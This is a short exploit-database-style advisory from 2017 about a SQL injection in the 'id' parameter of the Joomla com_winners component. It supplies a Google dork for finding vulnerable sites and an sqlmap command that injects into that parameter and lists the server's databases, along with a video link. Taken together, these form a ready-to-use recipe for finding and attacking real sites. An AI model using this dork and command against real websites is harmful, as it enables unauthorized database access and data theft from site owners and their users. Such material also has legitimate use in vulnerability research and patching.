Information: ===================================== [-] Title : Joomla com_winners - 'id' Parameter SQL Injection [-] Author : Shahab Shamsi [-] Contact Me : SecurityMan.Org [-] Vendor : http://joomla.org/ [-] Category : Web Application [-] Date : 07.April.2017 [-] Tested On : SQLMap Google Dork: ===================================== inurl:/index.php?option=com_winners Exploit: ====================================== >sqlmap.py -u "http://site/index.php?option=com_winners&view=winner_detail&id=[SQL]6&Itemid=683&lang=en" -p id --dbs Video : ====================================== https://www.youtube.com/watch?v=J9TsSe80B28 http://securityman.org/joomla-com_winners-id-parameter-sql-injection/